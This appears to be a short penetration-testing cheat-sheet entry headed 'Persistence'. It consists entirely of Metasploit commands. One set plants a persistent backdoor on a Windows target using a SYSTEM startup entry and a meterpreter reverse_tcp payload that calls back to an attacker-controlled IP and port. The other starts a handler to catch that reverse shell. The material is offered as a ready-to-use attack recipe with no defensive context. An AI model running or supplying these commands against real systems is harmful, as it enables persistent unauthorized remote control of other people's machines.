# Persistence

**Create a backdoor**

```
# Create backdoor on target machine
use exploit/windows/local/persistence
set session <session number>
set STARTUP SYSTEM
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker ip>
set LPORT <attacker port>
exploit

# Catch the reverse shell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker ip>
set LPORT <attacker port>
exploit -j
```
